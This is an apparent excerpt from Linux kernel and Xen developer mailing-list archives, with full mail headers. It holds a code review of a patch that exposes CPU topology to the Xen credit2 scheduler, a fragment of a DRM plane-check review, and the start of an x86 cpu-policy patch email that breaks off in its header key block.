>>   	struct drm_framebuffer *fb =3D pstate->fb;
>> +	int ret;
>> +
>> +	if (!crtc)
>> +		return 0;
>> +
>> +	cstate =3D drm_atomic_get_new_crtc_state(state, crtc);
>> +	if (!cstate)
>> +		return 0;
>> +
>> +	ret =3D drm_atomic_helper_check_plane_state(pstate, cstate,
>> +						  DRM_PLANE_NO_SCALING,
>> +						  DRM_PLANE_NO_SCALING,
>> +						  false, false);
>
> This is another case of _check_plane_state() running conditionally.
>

Acknowledged

>> +	if (ret)
>> +		return ret;
>> +
>> +	if (!pstate->visible)
>> +		return 0;
>> +
>> +	mode =3D &cstate->mode;
>>  =20
>>   	if (mode->hdisplay % 16)
>>   		return -EINVAL;
>> @@ -117,16 +140,14 @@ static int pl111_display_check(struct drm_simple_d=
isplay_pipe *pipe,
>>   	return 0;
>>   }

[ ... ]


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 14:47:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 14:47:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357122.1611615 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whTYj-0006G8-V0; Wed, 08 Jul 2026 14:47:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357122.1611615; Wed, 08 Jul 2026 14:47:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whTYj-0006G1-S3; Wed, 08 Jul 2026 14:47:33 +0000
Received: by outflank-mailman (input) for mailman id 1357122;
 Wed, 08 Jul 2026 14:47:33 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whTYj-0006D6-5R
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 14:47:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whTYi-008hbk-2n
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 16:47:32 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e62fb-e002-0a2a0a5209dd-0a2a450aa7aa-16
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:47:31 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e6303-e40e-0a2a450a0019-d1558036ed42-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:47:31 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493b61b52b6so7566505e9.1
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 07:47:31 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0f40d50sm166797965e9.5.2026.07.08.07.47.30
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 07:47:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783522051; x=1784126851; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=IDhw7yyyh/pcOx2iTl0xYCUDtl4x3a5TTMn0Oh5uE6s=;
        b=MZSo9tHgvmzr8wqKPE32aJuw1tWvACLddEbbREW8iCPCogyTcS5WlhakYNw0pEisaU
         rYwS6I6eEhIbjPkk878DPo90lO7KIgVaDo/vEBUm8VG1ZOLckGw/Y2PhgWpUZeVXXnl6
         yL0jbO8ybAln39qHFhUMJHBaGRo+rf1p4C73gtmug717PtYn4a4bmxeptX/xd0abapl4
         AUPpp1E+8lh+2lVj26AAHQQ0927N+8Z92jBx+xKu/UDj7zRV1IaoFEulukyOkf2R1zA3
         BBm6HBADPzDshf5X6/1Li+9HgwlZaVSS9AozApBzSyS+DV2E8x+xh84/eAj8u24jrYJt
         e0DA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783522051; x=1784126851;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=IDhw7yyyh/pcOx2iTl0xYCUDtl4x3a5TTMn0Oh5uE6s=;
        b=AQP93XSYOYKvnvNSJW/c1uPU7u8x/5uBgJyjqKe/vWpoRxFdeTzmuaCl2zBv+hnH96
         We2y30z9+KANt549DsWTroP+a8SOKRPmVIoTshD3oD8Vq6y240IctzmA1j0iHcbCDhSF
         Kkt+MSGR2WVV98U3uEJ2p9jO+W+kkBl2XtRvsNxqXu0Z/NwHves4TXC0sBr73QPg3mee
         D8CyDcphrSMwETh/AKltSmGUIFxx4hEjhVaMnbD1HEBbwgL4Fd5ujW5xjUFZ35+zDGsP
         MR//wfuIM9xS5F2vIcLlNsA5sRubHvtGxt0CWCWXxFzGDRfnNEdjSt8DqgikIom69rYw
         qq3w==
X-Forwarded-Encrypted: i=1; AHgh+RrFaLbjiya/dWHkSwu53Atn0yqmUOJR2mWO1fOFJVRiYHCOeIJDsNcV8jbzxJnSeSt2xbH6jG5eHZw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxrQom98FnZnzLBJu50QuXcJ+bqSec9a7qpugIGPErIYnJx0t2h
	oYg15Y1f6mMvOQpzReHqhlTj6OgJtAE6cWmU9qvadzi3wAJarOpa844qk668OhWpyQ==
X-Gm-Gg: AfdE7cli/w73GhRspSqbUwMMCSMGGVoFaiIMYIojLrWkcpX23CSduhycwlHPWCJj3oR
	T/B5e3RapK632l9YXIA+F2zmtF9R5yNYRL3xAfvK4PWjOFGUokHgWYrTeZB08QN9O89Svvv8Mf9
	4Dmx2d+5YQPfgjpL7z549X1qb6qbZEusWlPz2QizvMBiY3JfIzqiIcmndRSsUnHawFa8LHiOk3c
	dPmkI4EcBtdxNokhBl5WXB2/Pnp3WrdfCWjQBQuQSa3GamBhvEsmno66zD/RRRBRafwdG1qCeDi
	falFSWa/DtKttfyxChJVU7Sg6tH4bUuoRh6a8RXmdex4PHgv1BiIiw9qeIi1kaen2Tc55iHJABt
	UllORPvHTUkkvuzkEYLxCTHRvnhWbiVACMKNZk33tMnVPuQ7AXWlIBcHjaojHBpBSEBn5pVFHmI
	8FeSRTjJJyNwPlpQVuKrAtqXnFvz7L8Ce+vPuP2jXC8rcIgzK6ImErDiAeuYLBxJHCAt3ieOeT3
	dMB
X-Received: by 2002:a05:600c:34c3:b0:493:bb29:af40 with SMTP id 5b1f17b1804b1-493e689b37amr37619815e9.14.1783522051340;
        Wed, 08 Jul 2026 07:47:31 -0700 (PDT)
Message-ID: <41ae8496-03e6-4e39-bce9-e98e9db85c5d@suse.com>
Date: Wed, 8 Jul 2026 16:47:30 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 2/3] xen/sched: Link CPU topology to scheduler
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>, xen-devel@lists.xenproject.org,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Dario Faggioli <dfaggioli@suse.com>, Juergen Gross <jgross@suse.com>,
 George Dunlap <gwd@xenproject.org>
References: <20260703091544.183548-1-taka@valinux.co.jp>
 <20260703091544.183548-3-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K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JzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260703091544.183548-3-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1783522051-CFD33DDE-C6A14872/0/0
X-purgate-type: clean
X-purgate-size: 8423

On 03.07.2026 11:15, Hirokazu Takahashi wrote:
> Make CPU topology information available to the Xen scheduler.
> Additionally, ensure that this topology information is displayed
> when executing the 'xl info -n' command.
> 
> Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
> ---
> Changes in v4
>  - Explicitly #include <asm/processor.h> in cpu-topology.h to guarantee
>    that arch-specific definitions of cpu_to_core() and cpu_to_socket()
>    take precedence over the generic fallbacks.
>  - Introduce inline initialization functions for cpu_sibling_mask and
>    cpu_core_mask in cpu-topology.h, providing separate variants for both
>    when CONFIG_GENERIC_CPU_TOPOLOGY is enabled and disabled.
> 
> Changes in v3
>  - Remove the temporary definitions of cpu_to_core() and cpu_to_socket()
>    from RISC-V and PPC processor.h.
>  - Minimize the use of #ifdef blocks, leveraging compiler Dead Code
>    Elimination (DCE) where possible.
> 
>  xen/arch/arm/include/asm/processor.h   |  4 --
>  xen/arch/arm/smpboot.c                 |  8 +---
>  xen/arch/ppc/include/asm/processor.h   |  4 --
>  xen/arch/riscv/include/asm/processor.h |  4 --
>  xen/common/device-tree/cpu-topology.c  | 51 ++++++++++++++++++++++++++
>  xen/common/sched/credit2.c             |  3 ++
>  xen/common/sysctl.c                    |  1 +
>  xen/drivers/acpi/topology.c            |  3 ++
>  xen/include/xen/cpu-topology.h         | 45 ++++++++++++++++++++++-
>  9 files changed, 103 insertions(+), 20 deletions(-)
> 
> diff --git a/xen/arch/arm/include/asm/processor.h b/xen/arch/arm/include/asm/processor.h
> index a3753c317f..41fa73cfc4 100644
> --- a/xen/arch/arm/include/asm/processor.h
> +++ b/xen/arch/arm/include/asm/processor.h
> @@ -613,10 +613,6 @@ void show_stack(const struct cpu_user_regs *regs);
>  
>  #define cpu_relax() barrier() /* Could yield? */
>  
> -/* All a bit UP for the moment */
> -#define cpu_to_core(_cpu)   (0)
> -#define cpu_to_socket(_cpu) (0)
> -
>  struct vcpu;
>  void vcpu_regs_hyp_to_user(const struct vcpu *vcpu,
>                             struct vcpu_guest_core_regs *regs);
> diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
> index 5ce2bcf6ec..3c9f2a5c53 100644
> --- a/xen/arch/arm/smpboot.c
> +++ b/xen/arch/arm/smpboot.c
> @@ -92,13 +92,7 @@ static int setup_cpu_sibling_map(int cpu)
>           !zalloc_cpumask_var(&per_cpu(cpu_core_mask, cpu)) )
>          return -ENOMEM;
>  
> -    /*
> -     * Currently we assume there is no multithread and NUMA, so
> -     * a CPU is a sibling with itself, and the all possible CPUs
> -     * are supposed to belong to the same socket (NUMA node).
> -     */
> -    cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
> -    cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
> +    init_cpu_sibling_map(cpu);
>  
>      return 0;
>  }
> diff --git a/xen/arch/ppc/include/asm/processor.h b/xen/arch/ppc/include/asm/processor.h
> index 242346cab9..1bf6f6c66c 100644
> --- a/xen/arch/ppc/include/asm/processor.h
> +++ b/xen/arch/ppc/include/asm/processor.h
> @@ -141,10 +141,6 @@
>  /* Macro to adjust thread priority for hardware multithreading */
>  #define HMT_very_low()  asm volatile ( "or %r31, %r31, %r31" )
>  
> -/* TODO: This isn't correct */
> -#define cpu_to_core(cpu)   (0)
> -#define cpu_to_socket(cpu) (0)
> -
>  /*
>   * User-accessible registers: most of these need to be saved/restored
>   * for every nested Xen invocation.
> diff --git a/xen/arch/riscv/include/asm/processor.h b/xen/arch/riscv/include/asm/processor.h
> index 6b89df4a2d..d478ffb76b 100644
> --- a/xen/arch/riscv/include/asm/processor.h
> +++ b/xen/arch/riscv/include/asm/processor.h
> @@ -54,10 +54,6 @@ struct cpu_user_regs
>      unsigned long pregs;
>  };
>  
> -/* TODO: need to implement */
> -#define cpu_to_core(cpu)   0
> -#define cpu_to_socket(cpu) 0
> -
>  static inline void cpu_relax(void)
>  {
>  #ifdef __riscv_zihintpause
> diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
> index b653227ef4..43322a153f 100644
> --- a/xen/common/device-tree/cpu-topology.c
> +++ b/xen/common/device-tree/cpu-topology.c
> @@ -330,6 +330,55 @@ int __init parse_dt_topology(void)
>      return parse_socket(map);
>  }
>  
> +static void __init setup_cpu_topology_ids(void)
> +{
> +    unsigned int cpu;
> +    unsigned int next_core_id = 0;
> +    unsigned int next_cluster_id = 0;
> +    unsigned int next_socket_id = 0;
> +
> +    for_each_possible_cpu(cpu)
> +    {
> +        unsigned int first_cpu;
> +        struct cpu_topology *topo = &cpu_topology[cpu];
> +
> +        first_cpu = cpumask_first(topo->thread_sibling);
> +        if ( first_cpu == cpu )
> +        {
> +            topo->phys_core_id = next_core_id;
> +            next_core_id++;
> +        }
> +        else
> +            topo->phys_core_id = cpu_topology[first_cpu].phys_core_id;

Not even an assertion to make sure first_cpu is within bounds, i.e.
topo->thread_sibling isn't (by mistake) empty? (Same again further down.)

> +        /* Reuse the calculated core id if clustering is not supported */
> +        if ( cpumask_empty(topo->cluster_sibling) )
> +            topo->phys_cluster_id = topo->phys_core_id;

Wouldn't the cluster better be uniformly the same value (perhaps 0) for
all CPUs when there's no clustering?

> +        else
> +        {
> +            first_cpu = cpumask_first(topo->cluster_sibling);

No need to use cpumask_empty() and cpumask_first(). The return value of the
latter allows to identify the "empty" case.

> --- a/xen/common/sched/credit2.c
> +++ b/xen/common/sched/credit2.c
> @@ -9,6 +9,7 @@
>   * Based on an earlier verson by Emmanuel Ackaouy.
>   */
>  
> +#include <xen/cpu-topology.h>
>  #include <xen/errno.h>
>  #include <xen/init.h>
>  #include <xen/lib.h>
> @@ -37,6 +38,8 @@ static unsigned int cpu_nr_siblings(unsigned int cpu)
>  {
>  #ifdef CONFIG_X86
>      return cpu_data[cpu].x86_num_siblings;
> +#elif defined(CONFIG_CPU_TOPOLOGY)
> +    return cpu_topology ? cpu_topology[cpu].num_siblings : 1;

Apart from the naming issue I continue to think that the generic case should
come first, and x86'es special case second. Yet then I'm not a maintainer of
this code ...

> --- a/xen/include/xen/cpu-topology.h
> +++ b/xen/include/xen/cpu-topology.h
> @@ -4,6 +4,9 @@
>  #define XEN_CPU_TOPOLOGY_H
>  
>  #include <xen/cpumask.h>
> +#include <xen/percpu.h>
> +#include <asm/processor.h>
> +#include <asm/smp.h>

Blank line please between the xen/ group and the asm/ one.

> @@ -11,16 +14,56 @@ struct cpu_topology {
>      cpumask_var_t thread_sibling;
>      cpumask_var_t core_sibling;
>      cpumask_var_t cluster_sibling;
> +    unsigned int phys_core_id;
> +    unsigned int phys_cluster_id;
> +    unsigned int phys_socket_id;
> +    unsigned int num_siblings;
>  };
>  
>  extern struct cpu_topology *cpu_topology;
>  void init_cpu_topology(void);
>  
> +static inline void init_cpu_sibling_map(unsigned int cpu)
> +{
> +    if ( cpu_topology )
> +    {
> +        cpumask_copy(per_cpu(cpu_sibling_mask, cpu),
> +                     cpu_topology[cpu].thread_sibling);
> +        cpumask_copy(per_cpu(cpu_core_mask, cpu),
> +                     cpu_topology[cpu].core_sibling);
> +    }
> +    else
> +    {
> +        cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
> +        cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);

Isn't this the same as ...

> +    }
> +}
> +
> +#define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
> +#define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
> +
>  #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
>  
> -#define cpu_topology ((struct cpu_topology *)NULL)
>  static inline void init_cpu_topology(void) {}
>  
> +static inline void init_cpu_sibling_map(unsigned int cpu)
> +{
> +    /*
> +     * If CONFIG_GENERIC_CPU_TOPOLOGY is disabled, it is assumed that
> +     * all CPUs reside in the same socket and that SMT is not used.
> +     */
> +    cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
> +    cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);

... this? Would be nice to avoid the duplication.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 14:55:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 14:55:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357135.1611624 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whTgg-00080K-ND; Wed, 08 Jul 2026 14:55:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357135.1611624; Wed, 08 Jul 2026 14:55:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whTgg-00080D-Jj; Wed, 08 Jul 2026 14:55:46 +0000
Received: by outflank-mailman (input) for mailman id 1357135;
 Wed, 08 Jul 2026 14:55:45 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1whTgf-000807-85
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 14:55:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whTge-0007NS-LI
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 16:55:44 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e64dd-bab6-0a2a0a5309dd-0a2a4505dc9a-48
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:55:44 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e64f0-3cb2-0a2a45050019-d155dd31a486-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:55:44 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-4758bd3731bso605109f8f.0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 07:55:44 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa039b126sm43066599f8f.24.2026.07.08.07.55.43
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 07:55:43 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Content-Language:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783522544; x=1784127344; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:content-language
         :cc:to:subject:from:user-agent:mime-version:date:message-id:from:to
         :cc:subject:date:message-id:reply-to:content-type;
        bh=bFF/1aIEUZe7ClGY7L9LcVeNotxS1viNd9h5I3egz24=;
        b=VBfzoQYOaaJgmDu4zOXkIfeMNXWUwWtG5FZ8QHHvGBYp6HEvdW58mBR/KZW+38p5Is
         DT50gC8BJZh+DKkuBt/S4uxNLEDWjIEVcAhzue1dKlzJyWYBBf4LCheKfye8bkrc7OOW
         UKf4I6K/gLbJqXmJCeiDD5cWUp+LqFJns8mdVTkjxvSA/+QxHGra2eGVW2kHuu1Y1r5a
         G6/rHH+EUuiQKiw5S58XxwL6OI+eArWJbsgNAJs5NPsOMPzU1Ro29P16KKgORJRZxRPn
         JT6vqGaAZswvT8T/Qtz7clCxA7GJCt1FvH039wrYcYUIR1k+ytxb4oxoMzy/3n9f21Fv
         wsUA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783522544; x=1784127344;
        h=content-transfer-encoding:content-type:autocrypt:content-language
         :cc:to:subject:from:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=bFF/1aIEUZe7ClGY7L9LcVeNotxS1viNd9h5I3egz24=;
        b=FftNpRb0OJQCkdrXimYzc5OvuBYkqNod782ciJrCgoxv5zLioQeDP53xvJXNuLXQuj
         VXXFqWlCUcZha5dBnvPBRXZUUuT7MjXVscLUYR4Ems6jCoTiT6J8JRz0Ja3gwV5JgLPL
         fjjm4UTmVOnRTLzd3e5axaJ0RZMTYdd0qLLEiuitPsEO5SX4O8ZxenvCA7U/xjgfuFz/
         7CZU4+dtbD0227sS80Z9aRg1BGn2JRkfHqYJqcurgQLnaEcrLLDJIFioxwQPZ144al/i
         2BfCkOCpDWlG75VG7N6TAeLDcQA7oTsWH7H1l2dLbwL65Ura0shU2Ux7oGKR7IIli/Gt
         dQHA==
X-Gm-Message-State: AOJu0YyoNdQq/KGHJOqPhao5w8pzxqZN7pCVrlWdWiq5df3zTXVowvlt
	RY4oehHwqQGKf+uvFRfybQro6H+i2QtBWNmky/AJXiI+iP4EAiSBG0iiFalmvL4wkfJwkjTgRcu
	EO4mCLQ==
X-Gm-Gg: AfdE7ckWn9Oex862e7kNJtN23MoOh2/BaENMWU4kjaVlX9ZZ9qsstqV+MS7rdbpYSFc
	QrI/t4aHGom6AQcCa3IExFoTd6RYD5hn52TEIont0VP89suebvVagD8/Eog9X/qocrVJQ1F+Dxk
	4fa2lwyv4K9VR3ygmHYPkWOWI/Y3pidP3qKEvhO+Q/GpohuVLlhN+Lw3UGXgAzwr7H6KQpBT2Dj
	wcpOsxz7hlZ5r2VFsP++x3WrG7YKHx8QlZFI44U0246Q1fpo+XK8cM7eS9WYf0wdGIPlYahQYw8
	qeDwxAr0EKpDtSCyMg2k4KOqk22gjqfU8CJXxzuJkSXhXBMidr7RL/VyfTvON7VKB5pzJwW1AMq
	EHC4COFIQb2s2fpr39zWICTzyooMedcRVUQwwLg6BcA20u45W/FoT+BAfJ28qtdNThsBOuy7Iv4
	ojIIiCZ5jrsXFxzkomU5YeUpm2rIw2/T7m7UsGdz9Px4NLk6WvefqMCCTtNufflhRdyjctwjqa8
	Gbu
X-Received: by 2002:a05:6000:387:b0:460:6b12:1783 with SMTP id ffacd0b85a97d-47df02459b8mr3564130f8f.4.1783522543946;
        Wed, 08 Jul 2026 07:55:43 -0700 (PDT)
Message-ID: <da502f31-17fa-4b2d-90e3-1f6988717454@suse.com>
Date: Wed, 8 Jul 2026 16:55:42 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v3 for-4.22] x86/cpu-policy: set up host policy earlier
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
